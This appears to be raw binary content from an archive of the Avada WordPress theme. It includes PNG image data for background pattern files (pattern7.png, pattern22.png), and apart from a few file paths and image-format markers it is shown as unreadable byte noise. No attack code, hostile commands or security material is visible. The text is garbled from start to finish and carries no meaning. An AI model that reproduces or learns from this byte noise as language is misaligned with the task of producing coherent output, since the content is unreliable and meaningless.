-|'aA/+ٹmչm\}mddNG[6 nk-$ԳrSEH)c(N_s;iν#n{׬dr#nL}C6*Q6\㌇~s5@@@A㿴f!3goկ&ꪈ]qOneQۑ^(قNRnO$|}Ը *ͽڸLn|l^laá2D 90~V`g-fd'Y*4cT)4^` lP]M%B:ULmI_>ʛRs֍`' ?G#nh;Gxi)/Mtg>gQGaK`0MO(tbqu #v !PKݰڕB$Zܯ}~UQG~#vcS-KJ"9B XbDmW~)o:@l?ݬwl廂]Zԣ}w5R~Qj߾}ݶm^W5,r?qVX5afWKFn~C/6B>'cN՝gu֑[nbq8Vocq\RdzLd!caft~wncOJb+,kcHͣr33s7\Xޮ)•Ym@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A󍇌^pٹKGvgE,>u!gvFѹq4f[>VʼnEYGV 4LϫvjনҖ>N`[Sgf[j.>X,6B NB兌Eh<87aJW6@Yff̴J*Y-khBg: oǾ=Z'ǴmTpfhyyxh*XÃ-|8q&ӏ/ {\qPhZV6A1Bj #gLZ\-),gՆ=[kD8ZR5:W,b9sB1>&XHn .wmuW&qϫK<1?30;t l]O!Ʀ،uygc~vmu&'wf;+cJiNii ,-YBZ`H88\k -pAHHT+xr,&Iۇ;?j<8$rsJm36?ُ*Ѐ+㍤F,03MAgaGnK:2x[PF,Om_ \~;,}hT 1-Yl9,, uS׎I4.>6.^RQAv!x\{Yۃ[oo:nx[WleeT{1ըuEX.VmtA"] Y_8$ѹ;53[cng=ʹb yyyh17BCl!vch9&mX9^^Sm5&ԒF?f9Okv.mm( /|>!+|;ݍ^{?rGz0qh,ڿܿT1-z51b\4kB084qjO/n,6v&m)5  p{qlOi@@@@@@@@@@@AlG#i 1qf&gJ F ?+$1Izvs3?PR8aW1~VfB Q vj҂$F[bJ vՐe8b7nfgӽHDęI!~, UhҨ$5k\I&fAxC?k3;t{>Y1qgv}8ǔň_d+EPAvada/assets/images/patterns/pattern7.png000064400000005440152342437710014454 0ustar00PNG  IHDRR9 pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FKIDATx1 BQ$c|r\`cy]{Fl um3ԕPC] uX2e,c?2 ݪ_IENDB`Avada/assets/images/patterns/pattern22.png000064400000307450152342437710014537 0ustar00PNG  IHDRæ$tEXtSoftwareAdobe ImageReadyqe<kiTXtXML:com.adobe.xmp PLTEȞȟȠɠɠɡɢɣʣˤ˥̧̥̦ͨͩΩΪΪϫϬϭЭѮѮѯѰҰұҲӲӳӳԳԴյնշոָֹ׹׺غػؼٽپھڿɜFV~IDATѲdוdHVM/GI&I7b/w}x+?ϟ~^~~|ywx>g_Uw_~F_W|M=?^{ΏWyyϿQh~TG?y?45}+}P_6~߿}w_[m_'ߟ?ǿ^_s|ϯ߾~pկ?_e!o|^oE^oǟoy/ϯ?~~_ǏO_~x?v[mֵZM7{GG)HF,@4 Q3h_jS DIEFJW?>\T}D :h0PQ 'j0 @12酩.N9OEiURH# 34G@J%;Ss&WR %+p ꥴ 68hZxDL>PJ@ :y?mIC)- $hH_gQ:jm.` q&" @2 aPy{] 1:-.R}K?HZ Z! u`}t2⏉7WmmkOR5K*Iz֠]iYx)`ƥ`! I4L+G}~y`b)p3iW&,n RT#@-m@:pόREJ ̇g%=M\MT Y\}y󽕮AU9*)c [Ʀ(=i%HG\f}6{?F"m@P(-%V }o_}=q^كjGPFQbμn*RԲPI쒛/_ҮS*ѶH50$D:idbZAFH:D ;"̯_ozRH2{_}}쯯YcOXeA#4lOwjs\u5϶="CQ%PB 3 ]:cHj5~s+m neij< R9r9ɣuSREɥ6P0j[k\DQ@@  9aඬ4AAiSXm [ty?~{~0Ϗ^I)k%9L; inz?:hW޶&D=5  &1+?fG"iT}=3t )E@V)r?i/QʟOa9C:kDв -m҄"}S"kI/Jl-"".50EEp"h d48~سͥOhA#+َ̏J,] LвT7 +z@1~iA]IF bO?]xs6ӫIB4`7JAd [TZzӃPQ%LF6m4NmJs,'Kh18p&8,i10R[GQ]uJ#!Ui$Y3T hxo1jeLCdžLgf yҜ*aڇfh?V_\]‘2;@A0TjJg#o$%#Ϫte@VǦq`PviFHE@ERUZ  ӦOё1,)PK)V9 "PZH(Ie\xrȅL3Rsl)ŋ|> #栺TRUQ dF)yWXVb}o}HQ,hHZ6Ճf*%R$Q Ѵt-6rJ\TBC^,IEvRޙt%A"D.o`V]i\9CT&"9 5/IT3&ꋒ0(|k<{&SI-,ABvJi"3_J?N!ϪOa*6 զPmq)iDZQ#!X\"#AZbE-jUl @`ec! I ^D"̽C?YZH *p.3Q~lCL/z:HMjkn=L"\P~*- Rт,})syF֬;CYZ"77轾K #@ȊQL9*.8R#$ Ha( xwp[  d)jKE@}&QWeI"/j$(r[ZF鴊n%u?+[je7iG>yOvZU]y}fv[M bĢGS^ۣwDf^G;#PC LS$:#⭫ 1W8 RިUA|4Vh" bY++HM ,4h/ AmXy>( C(4ʱȖdt\9/^+<v" Ri'q4 IJ"}ǣ}@~c$Pَ`dnB ߨuz;"ZA+paKԺP$@E)*+m ^ZҦtZ V%BbQ5n5 ˘ӚFPO :Y]u=SEǫ U݌gGʇwj"ȏ(u  XI Sd^';+rmw~ݫc:Z}(ԄQfRfS,4FрA˸7G'镍j*ڴDUW.z6B(ȋ%WS<77( nZ5=mC?+< Bݑ^C[P+J$CNp-d+l$\hwqypa({$ZT0H#D2#=Dɕ)(U +dɾ0J%9UCիFAm)HW)ZЩRUXWj%0؜ ~ 0tH FUKE9HvQ#YpB鮪Q5Ϯ缆pL?QA̹YM>ځCT4XA9y{|AE# >Z!-8R1gy_5w I:U}M3j?Qi@@'Gz|+VHl- 78!E hW5`APhi P{ؾNJ@*RLSY1M$5Z m } m[\ÎFVKհǹnB%-Rlj`f[ST$X kDE? "@5."tzDcR!V62HqWSƦ 6ZA *U x k)`@ @Kب@/.Ϥ@t# "U9GE7E bɸOߙ~G}~,hi75Pt$ N@DK>H BVN'ah)q]٢lhIMskҧLE 7~A_HRihZIsVd^|ld]J|j49nT;DR2Uc%ˆ09g ()PLcY5}>[A+,qAv jQŦPs^m+(SJ#NxR@N1j7v!iC slb)t-VP9v$`g哴+;0G j_T h. P]Q+#JUTh h;UD`.Ho:**#*.4Rz4! Tb7G{+u\d P@LTt 4-@+BtA&)fw[ܚ}TH\h%I0BN9l}Ϟbslm}ਝIѭ3zQDMe1ဟFRT֢<ݵAF`tv ,*WU'M"~fk<he$"4"\$ Lj$xMi WRo(L)(s@ ZUVIS *e$'HPhFiZ|ZDe0) sh׏22\#ҺJJ.Hc!H*izXA/ABqԤ(;ePSiERbx4IJ>Dc&֡+?-i/[!k)^ըFP+9ZTRQTJm!Vb -S@M@Q"QjB ]h3:U-dH2 UFU#4gЪm+섺[u%(ȅBm=ZRc~`zaap9e5JhԦB(( 37BWqO\!NS "aj ug2 m[Y-h_SVFNEZUmm8ϥ~k`׮s3?o h R75tnksZ{McE0l^ (#? lR``FP*bPBoT(\ +[i wUAHEl6?o_]yxxoS!D " ى}A$p) QûPrh"9y+ `yPqHܟ͋_ T  )q [W^5#-Ц]UJ`hY]>7xnSj)Ej_TZjJCKZ$Ҏx5D%S):pDHjWH2-b}hK[fRf OwH0:B'gy>>ŋPky׈(_ -՗ERJgyGϼZZ`jUP,=[lYZ\ĨP -n'BPRE JEL1-[2u BhI:ǺҦM!\z@*$ O~䳭"K=J+[TӘȏ.D(h *y$ABKRv]@a@n6Bb=GhW"Im$D#!(ogF j ;^P-y uКEȐҮ JoAR@%jb>Q s;Tgi*Ҁ TF9͔{aLKm<(!- CPE~QwqFqK|rM:PaJ -ATNl+_PAQ5a)BiEϼCi%ɶyJȢTEՙ#f"V: -zԊf@eCZZ$MAJ+@bOI.C#A"gExثy8+:TB6>KiqKm*1zޙ]ѻ*WDO%I$ȑQ!\"|bU2.ݔm=I{ ܥS}"Y-p)"{lݲwI80Xc#K"j!-X:vHulSO0l7x0'͎kv;%{Ap۱w?gzӗG Bw -;xc<ߓ {.K^{ |+۞{p7|D x EKz]bs_ϐx`1%-J. (1]Gs:Fla `Mz`-ݖ­9{֟qÛtB.ٞGw#Ty6$X<?d99: Ӄy7pz-К(pȶ}2)fUq C1>)yѽs7f7C9Mеae  ă#yaldaW*=qw .ۂ[r9nlndu倛C|ϳg(w ifk(X'p3?e[Y2X5roBPvBp]9$I!L/67, ٪jwr6s>Gi9aEa~8X9Vtw?j}'8AFs^m@7fN 8xH#9V077~yrZ~xŇߗrmʙfiOyo`kN> f⑍8D։LL߁&ƽm NxvW/cX^z{@KZ::^r3W؋; %!5r|>6TCu? g]'#JwM* ; #~ f gl)vִu矞ֳepo@p'>6]@C8@JY?[tHBpfB;=rY0\r̂s8 ebp m60Lιݒ]ZWgVʐ RX-~3gkA GM=\i7]f dbn͓Y>L92ns}rLtK4-Eܒ@r X<-̕ȀU'\f}ysK[=|2˺! $}79+h݅12^'m{.yIfO}u[U`@9PCٸĵ"0 ybደH$dc{z=kszu -[!7rw\*d/EG/ٽ%g;kd UFeo&lȞ)oGZP&%=||wm@-tw)jzUNtix yٯO6=r#;PXd#:s9e\\n{9D|YoPGo,P&ElY^ʀPt QXmW8JyisZȾ}~w)N:_tC>^]8tcr甡}!9\8"{n` p;:NE6muE[9;E1r@җoa.N%@A GGkF>>:qs06y%{R{XNdshCb#nD{y丬{{X0fX8~ͦͽUγak&v;w98 ۨ>  B/6.頋ܯhٌ*( ;{2ϳɻ#wܧVAp C& O5h^?N?|u.f$@WOk~?$n_>ObEY^`n;ZEsVH^ d(F_2)8 ` lRfvqMm`XX,<v3~` dEV=wgO'{|X.9*|P+s10lH ;E?3?}`w)zr|Fɣ:$$\_8oC^zL8>e.I[$y0k) 6*ʠWpw7-P[Ax;V #'ˋc2ؔ]Þwd s6Xmt/La:6dXs3"Fy Ò6Mle/1=$z_nH5Q[ 3.yvaqi$Iؽ㰝ܯ.\{-Q^螽{VEdP-2͐ U py8sU`S)]g+껵0:elx(Ro{^PJ$^:a:@3CGlr(3OG}ss6V—[O 估. ||:YO"/&[df/7d9uAFXm 7``@t0d0h翜Ocj+iҕxd #C I͗ 0$0X   V.<yD<#b,rsBwGȘv7r8}x1a&}nAK.lCG.hYH<0)!?aBXƆlp9ぜwMVy( dEw"xmj*ue!Ɛ);2C€ꇜǾp6^^~v߿;;)u|q+πo:w2ȭ9@JI 79 tG 3oGPqsǐ ,CX=?Mɻvv(/Cl"Z|0oD>  vZǮud ?<9}~+@{|syBJK|*t-ς/7r~I߹D۳~^6;C쾿72=[Xٱ {l+g,4qXY;!>q=z)eEȐ0Ƈ*8 n0k %`6` P_/;Ptɳam?yܿ׿m@P4\y=_S03- u,dw $Mr6.EE]^QI6oty`(zν^.3\w/6%7}[/^5&J2lmLs+WV ;@QF`o2]'~ sͽ/l.ddm|ηw 73btg[nɘФ3il 16^raLZ&y]E8.w9|6(N{aM>f e$#.y]Bi~{ݒ VPv0lC P}&@c88D1c D8-]Fi NR?6}!ꈔd8xw͇ޒ8@eOZ@ vz AΧ/٠hN1a( x`3~r&]y2(O5lL1l 7+leK.w&s&2.|`'W:0,CfBn(aߛyll"lZ´+p>ݪ{8zp&!~cɆܝ0 [DиmC=0j6;9yd.b$8aM/0ZdȀa,IbA=B$t+#d0@@X6Ni p/0XPF~Nvٜ`&y<{kv, Dr0nrIa#w%@VDAe󻄭`'ȶqDt~7`vccѹV{8gmc1bG02Ne-\>>ǂܠ*{]&0s22}u'3mX0," {YFcpo6(, ɠ9O(|2șz `.6#qOnɄ9QC:nk^\rI}8@ \v_w]بB^w" l+g%\b$ýaM6h@|>:s64'PL0|]@eWG!s JwK8^]a@c%qg.H8Gp_gt}@eQ&2ׁgPY91KȊtyPwhse-uE؅m]RV7^m[`#GlŠBQ.zNA߲mqqzō-uI$L8;A6@z;ŕC[i 9 b@ ax2'BFqmWǏ$ XƎ ]:N\F7v eaNf ;S-,l@r'L7W}?b8+)|~'7L.Ͻ,,S 2r HX͞'b/ w^VGy>e"} sqlux'-{mv -`= ط 2AA"L@ C`|N)7 HfNP mb% z<I{:6K`6܇}Y>u\=A+oD2zMnG<pO.$X.quC!y.P;s)/gF3gͽzv؝} VUN LPt[ ۊ| by/l;xK,c G L |^d 6הqz۶Kޫ!>^9[v~Es^;n#z3g )'ll&,}B;@nt_ӻ4Y"lc㌠ 1Lh~~%[(:0|}26{ '×M'~=sE8CN↗dwdVwu!N^@*'cQ@z7#ͧĠ``#@t:!32<Ni),ϩ!Tpn 1`˄"#'Av9s >_}+Zd' ˓/ c+6 IgoO.̋JqP,/F|ev~Ӳ`OE0" l!c:\l(]nh] n i x(Ȳsމ,H6JVsAt`E'n᭓heKmCǻ}?_?ofF@q<]Ju6|*q:RNW/e(0˜mӲ!AY'^Vf);YAbn> \ln۠p5L/ϜtgfR l=&c.Mx z/zƆma7]F,[$g0(1FF apKeb?Fva'9m]0sըܠƻsvǁHWoO;7<ؓl9':χΘ%d_‹vU6r`'Q2gqc\6xvXD6u|<$DphC0Z ۘ/1 6J|wX}dHY3kll#9dlNjdEyFi Cp  mDZMt{Iay?=erlq䯳Ɔ H9݆; C!d+f(́t1&=5 O(fw[v5a)+ و:^Ф wm<`W 8zV6]tM.C f Alہ|{3;Ľp/J'6&g<{$' ;䷁~[ؠ#a$>*[;S.;ˮöQFHBm *`WrعlqN#pqчs\NxcȰ][VLfMCedmD?粝uY>Hh ^rY{z_w ye_wrtw2|hPWM'E˖ &J^DtL!#ل Iٰ)sWq6$5mY?Nnܞ!4` ;^7,G^: * Ndp=vӯOr8)9cx6? wr?o?J9(d0t9u[qMIZYg"a| 2a#0L02t8`2q]@V]ΞT0@asKn^:Ur{ 5OPnwin8J@0a%/Y?}`.;礅ͽ8{%mdQX! |vX AC~aka-)Jhq^@ؘejwRæ轢Q6vr[@T Lm%_<ٖ`8_O`/[- !ngp7lOT,Jzo؃@ͳQ/ ݶ.]J[<GFas{rDGE. ݱrc>#3~>4;f|,/8t)pኢfpWqc3(z'O'򝃎FBO80.L w 󙺘mP`Ͽ|W<rc/.npK.]e3< 5 YQl&ݏ_fYʾ3NHr?s?ﻜzv #b9<%lST+vwdr1ߟ篟s#㲗]:o]€aƞh!8 ke%mpp@=ܱw$z܆- !@yGzҹJ/us}4[F·yطlfr כS}/P m;w<ľ.!Ha7eQ(CpfsԜͺl{܅t>CXR,Kɽgn RtRWy@650Xy>zd`:q}x ђezekN n݉G;7Fe NG1wU6$Y,g)s>indsL2(Uǂ 5ay7sDm^Wx9ߖ>VѴ݅.Ԭv/G+o7z9hs/njJxyy9\svJkkan9y;yr zP=^!Y69Zƹf\a?y'l ً# +Nn ]n1$pXs4;`&'햾#ɍ~vw]ކtFV|%tҸz9 d]_Wzr+tl2v)zkŘ³8 7CgqRvݢgIVw9 rNN7z:PAz+4(H'z/($}cE v؊H˖D-55#DFVjkz1)ll{/|/^8E7‘,+.c #IA8:޲`G%AN8nFݜWj5} Hd |>+}Ξ@OnӴ[ފ]⇮5Ba c9 mڥ.0%m m`aDO{ p0am; 6(ǑMhUPlg<]ܳ*QMp'/p[eh;@\`ŤttM>{%ēa Ey둳|8Rf{~k}=~;np@(pWčBf_9s /bz!y^>@Ѳ9Pg_AB']DlL(J3K_G9|%9wgsN;^nÌMp"b v" mg{;^[$_6~~'XL.4"šw# +Lrz*MB (kC`\a#NE"glG^OOd 9uJUd{Wbna0}9e육ކ!.ˡ}q( &0̽+7x=i_&9oq=[pϿ |]2}=cw>Ar$}e@r;Δscaў\v (c~92/> cq2ʡq;&0/);!opA``G$ta3a;" Y"7@ˀ3X0Ms[ols}V& ;J>=y>.frNZ(]3) 01 5Pƥ;8t`+w|Mc`H#NګKt2.@!t^d9ӽKL03@=f'dZa<-cڠ9)]78Wl =?}n8N%ɻ,-۶'_y!~`^In}&ͮB.Y `/F8CzNv9zO^+ <+:(FD((/֌H)3d}8zߟ釲PKG =x^ 8wcD;gd}Hkld_V~7;v=E=M|}|Y\X[9A{¤}4|Oއ7F8HNu}R޻K.őPؙY.X@a:dTAKWy1B ^ƈe:Ϲ~\ptSv~ \7?s,l$9@0ro_? =璳gyěyH! .\fr"kHu8BIOa>;,P-ɚ Ʃdz ϗ%6>6ݐ{sftwȎظjУa`Xzy^[W=sn\ls pQѰoOɻ#0F"|~{xu5p0` 0 p/IiTam`3I%Kd i3xvnc@3nq7Ua.zYa{ ?8#ʮ2tf3n d&~==<ZpH Luݹ+H=?w canۓmc`6rX;%!qzG`8:0GL5gX=m[ [8.HFeµmKk_l9`t |zI6ڑS<^gnIk'~sp/!'WD y$둔 9O C!t-@+\F`a K:@džƤ(L ~7;K?}{/3aX:arvs%nM\Pc8x<_ }،cи"Lv0`lqw_iGw{9yh[Dr\VDd2VݜaK |kavN}31΁w 6DSG"gǻ6`y.d|w'vE Ҟoqe@"n'+C:Fݤ+老#\80))s{P!UKSz{EnNg  =Azha"MZN`Σ|UJd,d"9gD˅Eqp}%'_p˓>?ܫ%]>;lގ ]V=n[~ԈP2LoV؆G>M{nrA|΋i v=IY`|`#P=f9'c AǠI:Aj,9ٶ(@C֪CelC27y^J,>K)y K攼dhl&;FUcad C(8"]'+']h-ݜX$,۳>zlP`A`/>V(#ARumH-3w緺!,8r%eD 3Lv(L~lѓ[Ы-Їd7J RaQ>ۊОGlI lưX#l;4x d#զ&--~¨G [K;a尶a0`wP &fTz{rbC9a0첇9# SrzA:*pHaN{}lcv Ѐl>|MR%l9w'pǤ1[2P(,Pׄw/Wk.\sUo2X;:)^xZ-CsPC=,%N3g°[ݱPuD@ )O706ntf`4;Y.[a—{clcRvwo6LDc/gLa#?"~OX`GmR¨g&>/)e7iy] w 6axa:6(:ZPM@ap;a81< Fa M0/ma<>7Όag`#ux^9ۭw9/< zK||z\/ʖPlӛ;- (ɸ=^N w<ߛ <ҥDrlCHGdl09yJJm?^|p lul[gL (`Ig*p!xyQ~{ql4AB{aA['~?{$28} kuH13XŒ(U; 9UH*m0^!l2a"@@;Pllyz ͆|ޗ?w>qGPV&@S[͏K#Ö @( gX5_|0Oep'?HN_4'v_>A0+ L(eZJU 0ض-х8p\g'12|`X6(@ ܠVWS8sewi;C,qe,(Y,L>:59nR`=yp_Rb.+ѻC~X̽,vmy.\϶^3&v-P% }_-ϐ .Ü`EYX!= E+aF9qNey~"G`  `zc}3ҧoayL䁳|;Iv"_)g]8x/V:ݳI[9m3fەK3{N z@) E]&B=O%L6<č a w`1v l#w[P C =٭/%[ـV'cK5@]6O%Y-Gv\f#HP@VfT;vAZ:(L%|H,BыL΀^{i7@B}w->onlC%vUgGZLz|lj Z5VO* 1DZA*ADPI봴@E(``CqxG  J"(v#yyT'az\Y-JC+KuJDh8 | ނ@j)R~_<9D.P iD^ũaPt3~ͣ] 5 I!{ܺJ_ƔC8B uZ(*("n^,U +[DKH%r($pQRg(@@(D% Hj4žf__FS^k@*TdV}NlBцUS,OoHٺ(/kZ"_< AHceuZϴY?^ͤGxZ_IC]]܊2"AzJ 6 pTP2E"t $Ķ=RFP@m%R,@4]im8| ۀ"#5)8BvpQTAL,"a+H->hQj=p[2L=ӈNBxα>3z~im1a J  h^{6%{Vr <]r6`\ YK8U@81`YAbkp+Rj]<}<|.OwCl=H*ӴkRJ MZ9>jk~̶CITWC4ݝTxc$v"(EĠffbphRjW"!DTCP*)*E-*`-UE2PiMFC^W9  >}%E^Ŭ*׉ϭ+Q6D c#(RdI"XFtf sƧZ!ŢSMkMFsCiM5eaq>H`J VEq+c)&c6W( E8RiSx5 aC(T`'4#U-,-[kkj9 7IS5mDqڐD(2RG-,$^dR)Pj(}(K2ڪVyWv#3%8[U9.ѐUͰC;O)F@0`s ޸Lp`.-R .p:PQ4@:j bb"!R۪ضZ*G!FtߴPRCۆ !2 @V[ Gif/9 &-ӽ \":F3p|və"}_ϴO>sHYz %J0hT H )m b-IQE%ՔhuW֜]\@0AƒL,rؕB E6[TE֠V*X ~i{{(thU\ZM[4X䤕O"'T7eNQ(չ0k:bStfjzvCP`y)PvԚ >Z'E82E|@EK>fjZibuhu. ™HP6ZcG "G(P^|.~_n_Au Plr$qѸQSPwN\\ ԅiH~KHe !B6)Hp|'vLE%m%AE[&62MZ5 ~|1+Us_?DW4TYpuAʸ+LTL) ǐ1\mWY_ӵH幩M;|e\HDH".~#yPA R T ~Pl:ׁw[TYJڣO0\z ٕ~et*2ȝ#5OT^oH&=..e4ZԶJ S! HDP"=͊1-µR4lK/ ynIE ԅJ A-ZKTE ȢRk5vWgR)}9GV%#TyRTHKٙb|PU 5;hs9]5oOE\IG3EPYa9.+V+y?zm⊻Lb"0* B,z #Ic|%mB/El+_AeTII Ԏi%FKdpFT C4E~؝$TV!T<+nnѭ$QFjPLpJ}xo˯qM ҐA򈔖dywNwIKg_&bA[ڻb-nʸ:߿?>?" Z J  @ 1B ޯI:͇KLg_ίsv?V*~O< I--zH )s֚r` , @(ϟ2mLE}q-ioԂPJ*G`b(FÜRUި[$r| {^DsCۅ"IP]_ӎ@E mHh)H,j[wh") Q:).ZF `RU+(22FphhHlUD PX/[ e,Kt ըU$[6c{IR[iнpnyY" ݄V3@CBS-)< {~E$a+U!/5yf!(i^Y r2YPT R T\BF8P-FRQ琂FDD"+Z4aؖt8WD(Ȇ$IE*Vϗ=21Ej b FD*=LWI+Ǟ3vVq$ [rx>)TBU57R9jS-:jb[ m0^Zyf懩z$TaKKx STeIʑ ݝJu(g{f쭤EP^ mz]ylksgyzEDyp$HjU9HR)ʢ( =|sy6?o+}|q~x > U 9WHlcz?4H|#\I5PTHED14%FEm[Z;>6H"ˬJ;l|[ɺw Nik@ftG HPv[BUs^gcՌT0WG{(mc7/j`WE);J#gF_?;y}w}EEVs%P*ZW\PB &A+mA@ BD )̑*ĕh6 V`: -۴ EHh 3gӏ!P55NAc^T?Ap KVYgv)*4;ӕb*J؀Z]ښ .SuMZ޺-@?k&˅BHXڠR+:IT(X*+D*$))T9@S@Q"H*&ZlVksT oRbV Zm*TTMJ(+[Z.BAmmqu{AIStz+nArr$HMⶅbՌS-.sr-|J""Pm$Q$~4ٶ0tje!,#5[VyrRPj*VHT"oEv% hEC#@thj E> Re!퐞UgJP@A""z{?ICR=F`E,Em3gi0-9cs^*.m @WܪT%A[V\Bg@*̈́zHi_q‰B3]P-*nARe. XTCdI@ӆh9(dFSPy"V%̙"x5,P\J#A@p%#@ J[}M'}r+J7J49 Ls%m!ܵSWJZFItyH9`"(+IDYkR=FExw vGSF/~լ)5(o)kZet<#QnJSIR@mK%* Hc># 1Uq+Mہ`5@C%Ȃ-LC|i-xE `]Τ2ז˭=2"ji4_qpk 鴮Ր# CZ&3_!w>R.{al̉J)PJ8cQ)jk I(QC"@C1,jVb2ҭPf:@)XXwTjʘYqk2B@3܌EFmwt{i+@Xun Hh1]ML %d\Ak RusƂQ*XkCd!hW]иT"T OEjJuώVH -*ԪRQX"&R0ŕULP;6Ji}cSSJ$D!XT(`}qʸMqW`8h">B(3>2:sQ$ч;U*jw-UCIU=}{ tm[ТoQ@@DjU qZ:^ ǰTC_!N=1 "@`|׈l5P6bcG`$-Zڶ!_uFxR )vHҪ5E4[8Oau:QV,Z1Ph+6ԏ+Qg@VEQH9/ݣkS2R@Rq/HwES6c%vE OD4Ih%jA @RI.B mS )H ɧNg"sέ_PЉ\@J7 PKтHXtIOgenշܨVyiFEg\--4,<7# BL>\ iXZH`Gcy$ *`RQ5 g$V{bUC0SS{т($j) bjZT R0YL]Mݷ"p ,FBpӠHl@"q}@ƻQ N<ꞃ%s;i_QnArqTaMWeUBX*鋰R!b8WBH[b6sj!@&`zY#!M^9z;P$y(+:37HrsDRƼI41L*ymf_:SUQUfi)JEZK4$ ΀i$hrTAth렻gCmD!e P2r" D"@R,R# '^|"Է[$ZBJ@BZ+&BnF&[3`)A..7li~{?Sra&k"%.ͪ)<çAB)j[?,B>+*>D-QO#*XRpUrڕRmLAPU^H#{PZKX Bo(-Bn*#A #]ĪpiM'tҪ tP4rJ Y]+<7Uyw@6[(đ@YĮs&Nв(q`J[ԽhAATnj߀ܕZ'i+SEB|o&=f[ p-A9'jI ;Vy(j Bzt_Ғ"YE- *)K*;lV>4a=:״6jkY(KנyCM~ǜ.bFNR"PZ=L]T7NPT c,6-M jSk|,$PL8\*pay=)J I4˾ 1mM$g-PЍ,fjȨŐe y\h7gBidd*`\ZyX%[Tffpņ~08M4"lN _)R?ݵ-meT\%aAXl`EʥX S@yuJPHt|^QӶ[X5em6Z)[ZV-$Hsw0Z*#"JBkj[AKUR~P^pZOɶ^d[Ddi (hoJP&4X o"t-Z!L#qȗ3g/ĕdQѦ#T@*ZdKQK>" 2T595WdT6K5-h4TQti"}Bmur+W;{!ʸzjq 7XSeZ5C@x0u(g =%*@S~4ZU+R%[ $q "KO_]6]ӵ P>@UՄJ$OoR^ڊz#y49lcD82U3#F9YD'"=]3lD7jBRw@Hrd+ATd?Vk!Lÿg;PҵHUxQV$\hX4PޑPm;u78_n;P׆X*& ޶&8+nh91h؋u3U0r\ZޞgIỊդ{ jۻRDHq0vp1ߴ SĢE @+{Ǘțо}cٍ$WA;"@IUPQ3),K 4CQ)*X ( ?^g_1K ݪ>n6Raڀ9),]< J/g[2ZˌJ5AhIK#Th6R)5J;Nϣ?C!D{ Q%H)l$L:i5^bT *'!c Xv]) HTBڭR9jy!-*#c_>~_q~ϙσR$heHyXA* *cCH0.6Ťp~sR||N>ؒLAQ.؆6+nMzȹWE Rɖ-9y1,$&,&U4B\n灄MI(!,u,VIi+(<4,(q׎HdvunwCռ]o@$"eo h3mJ~/F&a[>s3G^K)Ҫ:PP *]QT"0X-:`zCl! T@+RhJr(P+%&Kf_3?"t\S:B]#u@bܺP 5@K[ hRŖwՏ)gv|kN!Zf,I@lA_.W0q:W89t0ABpStR}$D; 6 (`A3~. qYbxѼKE4Z(oz%!Lcb%LG@Bf&%е8V!RB!PrBEH Z Z"w*u` @kKi)*2#sMXrˈ<Hi2~z-e,* { b&ւmh4="u T+kuhK Goi$ mH`Ԅ̟2#E>p`PH$+RF Dt%D6Lт MҐ4 P cZREHG+@; !MBӭp[fO[DY7s1pӺ۪PhL)QѭV`2Qꔘ@;[ߕP- P'9j@4iDjӛ5V2x*C_7%W2mJΣ%)`H\\ (*VSкN/ hQ9m ([0 (-l[4CUZL]P%`fITcOVaöT*ͧI5HtR)`P ˭*JꨀF.|i*"u,U;!R"oZ~z뾪h_? ruA̲-n`$]U-jSP. +4Dj-k=;*kTɵZH hv!KCbZfwwl#xߟug| ձi"_5o ]DY\d!mQJU]n= ګ@APy$1TRD@ ZS7E0婶L rLA"mv` n}@!H5L)b* ۤv4[LNjhɋL4OhIճJH`+]f"jdvdA-RPby+Zv)V?gg{uQwUfZin~J[ WE=͐HjlC+ɒ(+Ro+],ǝkhdZ cUM $si}>jtIk `J2jZ(>:fL Pë:naC@%#MgĆWH?G؂0;Yq%QhA*j:p26͊A*E[ k8@/H2qEM H1 A3J[UsAFPq P 9H]Պ- QSIl1T*c$ B[*@2R&=‚Lf&JmΠք\fJGgmj= %`QYZSԚ:Ve\:?BI]R9ւwz;sE@FxyfybsѤ5k:r#Ah"kj -`dTC:yةU?&A+%1M%15ZRˀ"ŵJ\ckᜠ^2[hȴLhI$< _ɕ@ 6xw$Z`iTGY4( &xW~#7X QcqAHD. .*wA&skGϧJe#UaA-dF1w(RCv;9h *,@1и j) 7Nwo!jk]FJKcCEإ1vţ ҔK )BCBk)" `1&&ҍMr(H @j)5.Ff|&{"pʥQ":\ @BPcBX (+̶fET01AuܺIigBTT֬HWy{?ZPg+QsSo-rՖ5O:IYfGPJ`+#Ē 4@)nжrゐRq 7m+D Lh$ ;oh)E=m2dZ@"| -3%IMAH P75 rILTV(*~\q+n!a8J F)׆uyѥ9aoQMi1^{@G1qHԴRzn iP @hP=Y@mE'P 2 ֘.NyZ/,HD*ڶP xV~sMoH+*b\TCbUU-F+{ŭIEъ ._i9mQ>grFH$ }_Ԕqʎtl!rJ@ , 